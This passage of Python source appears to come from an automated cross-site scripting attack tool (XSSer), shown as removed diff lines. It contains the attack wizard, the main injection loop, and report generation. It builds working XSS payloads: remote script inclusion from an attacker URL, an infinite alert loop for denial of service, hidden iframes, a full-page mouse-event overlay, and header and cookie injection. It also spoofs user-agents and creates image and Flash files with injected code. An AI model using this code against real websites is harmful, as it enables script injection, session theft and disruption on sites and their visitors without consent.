- elif ans4 == "5": # enc: no encode
- enc = 'Not using encoders'
- ans4 = None
- elif (ans4 == "e" or ans4 == "E"):
- print "Closing wizard..."
- ans4=None
- ans5=None
- ans6=None
- else:
- print "\nNot valid choice. Try again!"
- #step 5: Exploiting
- while ans5:
- print 22*"-"
- print("""\nE)- Which final code do you want to 'exploit' on vulnerabilities found?\n
- [1]- I want to inject a classic "Alert" message box.
- [2]- I want to inject my own scripts.
- *[3]- I don't want to inject a final code... I just want to discover vulnerabilities! :-)
- [e]- Exit/Quit.
- """)
- ans5 = raw_input("Your choice: [1], [2], [3] or [e]xit\n")
- if ans5 == "1": # alertbox
- script = 'Alertbox'
- ans5 = None
- elif ans5 == "2": # manual
- script = raw_input("Enter code (ex: '><script>alert('XSS');</script>): ")
- if script == None:
- print "\n[Error] Your are providing an empty script to inject. Try again!"
- pass
- else:
- ans5 = None
- elif ans5 == "3": # no exploit
- script = 'Not exploiting code'
- ans5 = None
- elif (ans5 == "e" or ans5 == "E"):
- print "Closing wizard..."
- ans5=None
- ans6=None
- else:
- print "\nNot valid choice. Try again!"
- #step 6: Final
- while ans6:
- print 22*"-"
- print "\nVery nice!. That's all. Your last step is to -accept or not- this template.\n"
- print "A)- Target:", url
- print "B)- Payload:", payload
- print "C)- Privacy:", proxy
- print "D)- Bypasser(s):", enc
- print "E)- Final:", script
- print("""
- [Y]- Yes. Accept it and start testing!.
- [N]- No. Abort it?.
- """)
- ans6 = raw_input("Your choice: [Y] or [N]\n")
- if (ans6 == "y" or ans6 == "Y"): # YES
- start = 'YES'
- print 'Good fly... and happy "Cross" hacking !!! :-)\n'
- ans6 = None
- elif (ans6 == "n" or ans6 == "N"): # NO
- start = 'NO'
- print "Aborted!. Closing wizard..."
- ans6 = None
- else:
- print "\nNot valid choice. Try again!"
- if url and payload and proxy and enc and script:
- return url, payload, proxy, enc, script
- else:
- return
- def create_fake_image(self, filename, payload):
- """
- Create -fake- image with code injected
- """
- options = self.options
- filename = options.imx
- payload = options.script
- image_xss_injections = ImageInjections()
- image_injections = image_xss_injections.image_xss(options.imx , options.script)
- return image_injections
- def create_fake_flash(self, filename, payload):
- """
- Create -fake- flash movie (.swf) with code injected
- """
- options = self.options
- filename = options.flash
- payload = options.script
- flash_xss_injections = FlashInjections()
- flash_injections = flash_xss_injections.flash_xss(options.flash, options.script)
- return flash_injections
- def create_gtk_interface(self):
- """
- Create GTK Interface
- """
- options = self.options
- from core.gtkcontroller import Controller, reactor
- uifile = "xsser.ui"
- controller = Controller(uifile, self)
- self._reporters.append(controller)
- if reactor:
- reactor.run()
- else:
- import gtk
- gtk.main()
- return controller
- def run(self, opts=None):
- """
- Run xsser.
- """
- self._landing = False
- for reporter in self._reporters:
- reporter.start_attack()
- if opts:
- options = self.create_options(opts)
- self.set_options(options)
- if not self.mothership and not self.hub:
- self.hub = HubThread(self)
- self.hub.start()
- options = self.options
- # step -1; order attacks
- if self.options.hash: # not fuzzing/heuristic when hash precheck
- self.options.fuzz = False
- self.options.script = False
- self.options.coo = False
- self.options.xsa = False
- self.options.xsr = False
- self.options.dcp = False
- self.options.dom = False
- self.options.inducedcode = False
- self.options.heuristic = False
- if self.options.heuristic: # not fuzzing/hash when heuristic precheck
- self.options.fuzz = False
- self.options.script = False
- self.options.coo = False
- self.options.xsa = False
- self.options.xsr = False
- self.options.dcp = False
- self.options.dom = False
- self.options.inducedcode = False
- self.options.hash = False
- if self.options.Cem: # parse input at CEM for blank spaces
- self.options.Cem = self.options.Cem.replace(" ","")
- # step 0: third party tricks
- try:
- if self.options.imx: # create -fake- image with code injected
- p = self.optionParser
- self.report('='*75)
- self.report(str(p.version))
- self.report('='*75)
- self.report("[Image XSS Builder]...")
- self.report('='*75)
- self.report(''.join(self.create_fake_image(self.options.imx, self.options.script)))
- self.report('='*75 + "\n")
- except:
- return
- if options.flash: # create -fake- flash movie (.swf) with code injected
- p = self.optionParser
- self.report('='*75)
- self.report(str(p.version))
- self.report('='*75)
- self.report("[Flash Attack! XSS Builder]...")
- self.report('='*75)
- self.report(''.join(self.create_fake_flash(self.options.flash, self.options.script)))
- self.report('='*75 + "\n")
- if options.xsser_gtk:
- self.create_gtk_interface()
- return
- if self.options.wizard: # start a wizard helper
- p = self.optionParser
- self.report('='*75)
- self.report(str(p.version))
- self.report('='*75)
- self.report("[Wizard] Generating XSS attack...")
- self.report('='*75)
- self.user_template = self.start_wizard()
- if self.options.xst: # check for cross site tracing
- p = self.optionParser
- if not self.options.target:
- self.report('='*75)
- self.report(str(p.version))
- self.report('='*75)
- self.report("[XST Attack!] checking for HTTP TRACE method ...")
- self.report('='*75)
- self.check_trace()
- if options.checktor:
- url = self.check_tor_url # TOR status checking site
- print '='*75
- print ""
- print " _ "
- print " /_/_ .'''. "
- print " =O(_)))) ...' `. "
- print " \_\ `. .'''"
- print " `..' "
- print ""
- print '='*75
- agents = [] # user-agents
- try:
- f = open("core/fuzzing/user-agents.txt").readlines() # set path for user-agents
- except:
- f = open("fuzzing/user-agents.txt").readlines() # set path for user-agents when testing
- for line in f:
- agents.append(line)
- agent = random.choice(agents).strip() # set random user-agent
- referer = "127.0.0.1"
- print "\nSending request to: " + url + "\n"
- print "-"*25+"\n"
- headers = {'User-Agent' : agent, 'Referer' : referer} # set fake user-agent and referer
- try:
- import urllib2
- req = urllib2.Request(url, None, headers)
- tor_reply = urllib2.urlopen(req).read()
- your_ip = tor_reply.split('<strong>')[1].split('</strong>')[0].strip() # extract public IP
- if not tor_reply or 'Congratulations' not in tor_reply:
- print("It seems that Tor is not properly set.\n")
- print("IP address appears to be: " + your_ip + "\n")
- else:
- print("Congratulations!. Tor is properly being used :-)\n")
- print("IP address appears to be: " + your_ip + "\n")
- except:
- print("[Error] Cannot reach TOR checker system!. Are you connected?\n")
- sys.exit(2) # return
- nthreads = max(1, abs(options.threads))
- nworkers = len(self.pool.workers)
- if nthreads != nworkers:
- if nthreads < nworkers:
- self.pool.dismissWorkers(nworkers-nthreads)
- else:
- self.pool.createWorkers(nthreads-nworkers)
- for reporter in self._reporters:
- reporter.report_state('scanning')
-
- # step 1: get urls
- urls = self.try_running(self._get_attack_urls, "\n[Error] Internal error getting -targets-\n")
- for reporter in self._reporters:
- reporter.report_state('arming')
-
- # step 2: get payloads
- payloads = self.try_running(self.get_payloads, "\n[Error] Internal error getting -payloads-\n")
- for reporter in self._reporters:
- reporter.report_state('cloaking')
- if options.Dwo:
- payloads = self.process_payloads_ipfuzzing(payloads)
- elif options.Doo:
- payloads = self.process_payloads_ipfuzzing_octal(payloads)
- for reporter in self._reporters:
- reporter.report_state('locking targets')
- # step 3: get query string
- query_string = self.try_running(self.get_query_string, "\n[Error] Internal problems getting query -string-\n")
- for reporter in self._reporters:
- reporter.report_state('sanitize')
- urls = self.sanitize_urls(urls)
- for reporter in self._reporters:
- reporter.report_state('attack')
- # step 4: perform attack
- self.try_running(self.attack, "\n[Error] Internal problems running attack...\n", (urls, payloads, query_string))
- for reporter in self._reporters:
- reporter.report_state('reporting')
- if len(self.final_attacks):
- self.report("[Info] Waiting for tokens to arrive...")
- while self._ongoing_requests and not self._landing:
- if not self.pool:
- self.mothership.poll_workers()
- else:
- self.poll_workers()
- time.sleep(0.2)
- for reporter in self._reporters:
- reporter.report_state('final sweep...')
- if self.pool:
- self.pool.dismissWorkers(len(self.pool.workers))
- self.pool.joinAllDismissedWorkers()
- start = time.time()
- while not self._landing and len(self.final_attacks) and time.time() - start < 5.0:
- time.sleep(0.2)
- for reporter in self._reporters:
- reporter.report_state('landing... '+str(int(5.0 - (time.time() - start))))
- if self.final_attacks:
- self.report("-"*25+"\n")
- self.report("[Info] Generating 'token' url:\n")
- for final_attack in self.final_attacks.itervalues():
- if not final_attack['url'] == None:
- self.report(final_attack['url'] , "\n")
- self.report("="*50+"\n")
- self.report("[Info] CONGRATULATIONS!!! <-> This vector is doing a remote connection... So, is: 100% VULNERABLE! ;-)\n")
- self.report(",".join(self.successful_urls), "\n")
- self.report("="*50 + "\n")
- for reporter in self._reporters:
- reporter.end_attack()
- self.report("="*50)
- if self.mothership:
- self.mothership.remove_reporter(self)
- self.report("Mosquito(es) landed!")
- else:
- self.report("Mosquito(es) landed!")
- self.report("="*50)
- self.print_results()
- def sanitize_urls(self, urls):
- all_urls = set()
- if urls is not None:
- for url in urls:
- if url.startswith("http://") or url.startswith("https://"):
- self.urlspoll.append(url)
- all_urls.add(url)
- else:
- if self.options.crawling:
- self.report("[Error] This target URL: (" + url + ") is not correct! [DISCARDED]\n")
- else:
- self.report("\n[Error] This target URL: (" + url + ") is not correct! [DISCARDED]\n")
- url = None
- else:
- self.report("\n[Error] Not any valid source provided to start a test... Aborting!\n")
- return all_urls
- def land(self, join=False):
- self._landing = True
- if self.hub:
- self.hub.shutdown()
- if join:
- self.hub.join()
- self.hub = None
- def _prepare_extra_attacks(self, payload):
- """
- Setup extra attacks.
- """
- options = self.options
- agents = [] # user-agents
- try:
- f = open("core/fuzzing/user-agents.txt").readlines() # set path for user-agents
- except:
- f = open("fuzzing/user-agents.txt").readlines() # set path for user-agents when testing
- for line in f:
- agents.append(line)
- extra_agent = random.choice(agents).strip() # set random user-agent
- extra_referer = "127.0.0.1"
- extra_cookie = None
- if self.options.script:
- if 'XSS' in payload['payload']:
- payload['payload'] = payload['payload'].replace("XSS","PAYLOAD")
- if 'PAYLOAD' in payload['payload'] or 'XSS' in payload['payload']:
- if options.xsa:
- hashing = self.generate_hash('xsa')
- agent = payload['payload'].replace('PAYLOAD', hashing)
- self._ongoing_attacks['xsa'] = hashing
- self.xsa_injection = self.xsa_injection + 1
- self.options.agent = agent
- extra_agent = agent
- self.extra_hashed_injections[hashing] = "XSA", payload['payload']
- if options.xsr:
- hashing = self.generate_hash('xsr')
- referer = payload['payload'].replace('PAYLOAD', hashing)
- self._ongoing_attacks['xsr'] = hashing
- self.xsr_injection = self.xsr_injection + 1
- self.options.referer = referer
- extra_referer = referer
- self.extra_hashed_injections[hashing] = "XSR", payload['payload']
- if options.coo:
- hashing = self.generate_hash('cookie')
- cookie = payload['payload'].replace('PAYLOAD', hashing)
- self._ongoing_attacks['coo'] = hashing
- self.coo_injection = self.coo_injection + 1
- self.options.cookie = cookie
- extra_cookie = cookie
- self.extra_hashed_injections[hashing] = "COO", payload['payload']
- return extra_agent, extra_referer, extra_cookie
- def attack(self, urls, payloads, query_string):
- """
- Perform an attack on the given urls with the provided payloads and
- query_string.
- """
- for url in urls:
- if self.pool:
- self.poll_workers()
- else:
- self.mothership.poll_workers()
- if not self._landing:
- self.attack_url(url, payloads, query_string)
- def generate_real_attack_url(self, dest_url, description, method, hashing, query_string, payload, orig_url):
- """
- Generate a real attack url by using data from a successful test.
- This method also applies DOM stealth mechanisms.
- """
- user_attack_payload = payload['payload']
- if self.options.finalpayload:
- user_attack_payload = self.options.finalpayload
- elif self.options.finalremote:
- user_attack_payload = '<script src="' + self.options.finalremote + '"></script>'
- elif self.options.finalpayload or self.options.finalremote and payload["browser"] == "[Data Control Protocol Injection]":
- user_attack_payload = '<a href="data:text/html;base64,' + b64encode(self.options.finalpayload) + '></a>'
- elif self.options.finalpayload or self.options.finalremote and payload["browser"] == "[Induced Injection]":
- user_attack_payload = self.options.finalpayload
- if self.options.dos:
- user_attack_payload = '<script>for(;;)alert("You were XSSed!!");</script>'
- if self.options.doss:
- user_attack_payload = '<meta%20http-equiv="refresh"%20content="0;">'
- if self.options.b64:
- user_attack_payload = '<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4">'
- if self.options.onm:
- user_attack_payload = '"style="position:absolute;top:0;left:0;z-index:1000;width:3000px;height:3000px" onMouseMove="' + user_attack_payload
- if self.options.ifr:
- user_attack_payload = '<iframe src="' + user_attack_payload + '" width="0" height="0"></iframe>'
- do_anchor_payload = self.options.anchor
- anchor_data = None
- attack_hash = None
- if do_anchor_payload: # DOM Shadows!
- dest_url, agent, referer, cookie = self.get_url_payload(orig_url, payload, query_string, user_attack_payload)
- dest_url = dest_url.replace('?', '#')
- else:
- dest_url, agent, referer, cookie = self.get_url_payload(orig_url, payload, query_string, user_attack_payload)
- if attack_hash:
- self.final_attacks[attack_hash] = {'url':dest_url}
- return dest_url
- def token_arrived(self, attack_hash):
- if not self.mothership:
- # only the mothership calls on token arriving.
- self.final_attack_callback(attack_hash)
- def final_attack_callback(self, attack_hash):
- if attack_hash in self.final_attacks:
- dest_url = self.final_attacks[attack_hash]['url']
- self.report('[*] Browser check:', dest_url)
- for reporter in self._reporters:
- reporter.add_checked(dest_url)
- if self._reporter:
- from twisted.internet import reactor
- reactor.callFromThread(self._reporter.post, 'SUCCESS ' + dest_url)
- self.final_attacks.pop(attack_hash)
- def apply_postprocessing(self, dest_url, description, method, hashing, query_string, payload, orig_url):
- real_attack_url = self.generate_real_attack_url(dest_url, description, method, hashing, query_string, payload, orig_url)
- #generate_shorturls = self.options.shorturls
- #if generate_shorturls:
- # shortener = ShortURLReservations(self.options.shorturls)
- # if self.options.finalpayload or self.options.finalremote or self.options.b64 or self.options.dos:
- # shorturl = shortener.process_url(real_attack_url)
- # self.report("[/] Shortered URL (Final Attack):", shorturl)
- # else:
- # shorturl = shortener.process_url(dest_url)
- # self.report("[/] Shortered URL (Injection):", shorturl)
- return real_attack_url
- def report(self, *args):
- args = list(map(lambda s: str(s), args))
- formatted = " ".join(args)
- if not self.options.silent:
- print(formatted)
- for reporter in self._reporters:
- reporter.post(formatted)
- def print_results(self):
- """
- Print results from attack.
- """
- self.report('\n' + '='*75)
- total_injections = len(self.hash_found) + len(self.hash_notfound)
- if len(self.hash_found) + len(self.hash_notfound) == 0:
- pass
- elif self.options.heuristic:
- pass
- else:
- self.report("[*] Final Results:")
- self.report('='*75 + '\n')
- self.report("- Injections:", total_injections)
- self.report("- Failed:", len(self.hash_notfound))
- self.report("- Successful:", len(self.hash_found))
- try:
- _accur = len(self.hash_found) * 100 / total_injections
- except ZeroDivisionError:
- _accur = 0
- self.report("- Accur: %s %%\n" % _accur)
- if not len(self.hash_found) and self.hash_notfound:
- self.report('='*75 + '\n')
- pass
- else:
- self.report('='*75)
- self.report("[*] List of XSS injections:")
- self.report('='*75 + '\n')
- if self.options.reversecheck:
- self.report("You have found: [ " + str(len(self.hash_found)) + " ] XSS vector(s)! -> [100% VULNERABLE]\n")
- else:
- self.report("You have found: [ " + str(len(self.hash_found)) + " ] possible (without --reverse-check) XSS vector(s)!\n")
- self.report("---------------------" + "\n")
- if self.options.fileoutput:
- fout = open("XSSreport.raw", "w") # write better than append
- for line in self.hash_found:
- if self.options.heuristic or self.options.hash: # not final attack possible when checking
- pass
- else:
- attack_url = self.apply_postprocessing(line[0], line[1], line[2], line[3], line[4], line[5], line[6])
- if line[2] == "XSR":
- self.xsr_found = self.xsr_found + 1
- if len(self.hash_found) < 11:
- if line[4]: # when query string
- self.report("[+] Target:", line[6] + " | " + line[4])
- else:
- self.report("[+] Target:", line[6])
- self.report("[+] Vector: [ " + str(line[2]) + " ]")
- self.report("[!] Method: Referer Injection")
- self.report("[*] Hash:", line[3])
- self.report("[*] Payload:", str(Curl.referer))
- self.report("[!] Status: XSS FOUND!", "\n", '-'*50, "\n")
- if self.options.fileoutput:
- fout.write("="*75)
- fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
- fout.write("="*75 + "\n\n")
- for h in self.hash_found:
- if h[2] == "XSR":
- if h[4]:
- fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: Referer Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[4]) + "\n\n[!] Status: XSS FOUND!\n\n")
- else:
- fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: Referer Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FOUND!\n\n")
- fout.write("="*75 + "\n\n")
- elif line[2] == "XSA":
- self.xsa_found = self.xsa_found + 1
- if len(self.hash_found) < 11:
- if line[4]: # when query string
- self.report("[+] Target:", line[6] + " | " + line[4])
- else:
- self.report("[+] Target:", line[6])
- self.report("[+] Vector: [ " + str(line[2]) + " ]")
- self.report("[!] Method: User-Agent Injection")
- self.report("[*] Hash:", line[3])
- self.report("[*] Payload:", str(Curl.agent))
- self.report("[!] Status: XSS FOUND!", "\n", '-'*50, "\n")
- if self.options.fileoutput:
- fout.write("="*75)
- fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
- fout.write("="*75 + "\n\n")
- for h in self.hash_found:
- if h[2] == "XSA":
- if h[4]:
- fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: User-Agent Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[4]) + "\n\n[!] Status: XSS FOUND!\n\n")
- else:
- fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: User-Agent Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FOUND!\n\n")
- fout.write("="*75 + "\n\n")
- elif line[2] == "COO":
- self.coo_found = self.coo_found + 1
- if len(self.hash_found) < 11:
- if line[4]: # when query string
- self.report("[+] Target:", line[6] + " | " + line[4])
- else:
- self.report("[+] Target:", line[6])
- self.report("[+] Vector: [ " + str(line[2]) + " ]")
- self.report("[!] Method: Cookie Injection")
- self.report("[*] Hash:", line[3])
- self.report("[*] Payload:", str(Curl.cookie))
- self.report("[!] Status: XSS FOUND!", "\n", '-'*50, "\n")
- if self.options.fileoutput:
- fout.write("="*75)
- fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
- fout.write("="*75 + "\n\n")
- for h in self.hash_found:
- if h[2] == "COO":
- if h[4]:
- fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: Cookie Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[4]) + "\n\n[!] Status: XSS FOUND!\n\n")
- else:
- fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: Cookie Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FOUND!\n\n")
- fout.write("="*75 + "\n\n")
- elif line[1] == "[Data Control Protocol Injection]":
- self.dcp_found = self.dcp_found + 1
- if len(self.hash_found) < 11:
- if line[4]: # when query string
- self.report("[+] Target:", line[6] + " | " + line[4])
- else:
- self.report("[+] Target:", line[6])
- self.report("[+] Vector: [ " + str(line[2]) + " ]")
- self.report("[!] Method: DCP")
- self.report("[*] Hash:", line[3])
- self.report("[*] Payload:", line[0])
- self.report("[!] Vulnerable: DCP (Data Control Protocol)")
- if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
- self.report("[*] Final Attack:", attack_url)
- self.report("[!] Status: XSS FOUND!", "\n", '-'*50, "\n")
- if self.options.fileoutput:
- fout.write("="*75)
- fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
- fout.write("="*75 + "\n\n")
- for h in self.hash_found:
- if h[4]:
- if h[1] == "[Data Control Protocol Injection]":
- if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
- fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: DCP" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "DCP (Data Control Protocol)" + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
- else:
- fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: DCP" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "DCP (Data Control Protocol)" + "\n\n[!] Status: XSS FOUND!\n\n")
- else:
- if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
- fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: DCP" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "DCP (Data Control Protocol)" + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
- else:
- fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: DCP" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "DCP (Data Control Protocol)" + "\n\n[!] Status: XSS FOUND!\n\n")
- fout.write("="*75 + "\n\n")
- elif line[1] == "[Document Object Model Injection]":
- self.dom_found = self.dom_found + 1
- if len(self.hash_found) < 11:
- if line[4]: # when query string
- self.report("[+] Target:", line[6] + " | " + line[4])
- else:
- self.report("[+] Target:", line[6])
- self.report("[+] Vector: [ " + str(line[2]) + " ]")
- self.report("[!] Method: DOM")
- self.report("[*] Hash:", line[3])
- self.report("[*] Payload:", line[0])
- self.report("[!] Vulnerable: DOM (Document Object Model)")
- if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
- self.report("[*] Final Attack:", attack_url)
- self.report("[!] Status: XSS FOUND!", "\n", '-'*50, "\n")
- if self.options.fileoutput:
- fout.write("="*75)
- fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
- fout.write("="*75 + "\n\n")
- for h in self.hash_found:
- if h[1] == "[Document Object Model Injection]":
- if h[4]:
- if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
- fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: DOM" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "DOM (Document Object Model)" + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
- else:
- fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: DOM" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "DOM (Document Object Model)" + "\n\n[!] Status: XSS FOUND!\n\n")
- else:
- if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
- fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: DOM" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "DOM (Document Object Model)" + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
- else:
- fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: DOM" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "DOM (Document Object Model)" + "\n\n[!] Status: XSS FOUND!\n\n")
- fout.write("="*75 + "\n\n")
- elif line[1] == "[Induced Injection]":
- self.httpsr_found = self.httpsr_found +1
- if len(self.hash_found) < 11:
- if line[4]: # when query string
- self.report("[+] Target:", line[6] + " | " + line[4])
- else:
- self.report("[+] Target:", line[6])
- self.report("[+] Vector: [ " + str(line[2]) + " ]")
- self.report("[!] Method: INDUCED")
- self.report("[*] Hash:", line[3])
- self.report("[*] Payload:", line[0])
- self.report("[!] Vulnerable: HTTPsr ( HTTP Splitting Response)")
- if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
- self.report("[*] Final Attack:", attack_url)
- self.report("[!] Status: XSS FOUND!", "\n", '-'*50, "\n")
- if self.options.fileoutput:
- fout.write("="*75)
- fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
- fout.write("="*75 + "\n\n")
- for h in self.hash_found:
- if h[4]:
- if h[1] == "[Induced Injection]":
- if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
- fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: INDUCED" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "HTTPsr ( HTTP Splitting Response)" + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
- else:
- fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: INDUCED" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "HTTPsr ( HTTP Splitting Response)" + "\n\n[!] Status: XSS FOUND!\n\n")
- else:
- if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
- fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: INDUCED" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "HTTPsr ( HTTP Splitting Response)" + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
- else:
- fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: INDUCED" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "HTTPsr ( HTTP Splitting Response)" + "\n\n[!] Status: XSS FOUND!\n\n")
- fout.write("="*75 + "\n\n")
- elif line[1] == "[hashing check]":
- if len(self.hash_found) < 11:
- if line[4]:
- self.report("[+] Target:", line[6] + " | " + line[4])
- else:
- self.report("[+] Target:", line[6])
- self.report("[+] Vector: [ " + str(line[3]) + " ]")
- self.report("[!] Method:", line[2])
- self.report("[*] Payload:", line[5])
- self.report("[!] Status: HASH FOUND!", "\n", '-'*50, "\n")
- if self.options.fileoutput:
- fout.write("="*75)
- fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
- fout.write("="*75 + "\n\n")
- for h in self.hash_found:
- if h[1] == "[hashing check]":
- if h[4]:
- fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[3]) + " ]\n\n[!] Method: hashing check" + " \n\n[*] Payload: \n\n " + str(h[5]) + "\n\n[!] Status: HASH FOUND!\n\n")
- else:
- fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[3]) + " ]\n\n[!] Method: hashing check" + " \n\n[*] Payload: \n\n " + str(h[5]) + "\n\n[!] Status: HASH FOUND!\n\n")
- fout.write("="*75 + "\n\n")
- elif line[1] == "[manual_injection]":
- self.manual_found = self.manual_found + 1
- if len(self.hash_found) < 11:
- if line[4]: # when query string
- self.report("[+] Target:", line[6] + " | " + line[4])
- else:
- self.report("[+] Target:", line[6])
- self.report("[+] Vector: [ " + str(line[2]) + " ]")
- self.report("[!] Method: MANUAL")
- self.report("[*] Hash:", line[3])
- self.report("[*] Payload:", line[0])
- if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
- self.report("[*] Final Attack:", attack_url)
- self.report("[!] Status: XSS FOUND!", "\n", '-'*50, "\n")
- if self.options.fileoutput:
- fout.write("="*75)
- fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
- fout.write("="*75 + "\n\n")
- for line in self.hash_found:
- if line[4]:
- if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
- fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
- else:
- fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Status: XSS FOUND!\n\n")
- else:
- if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
- fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
- else:
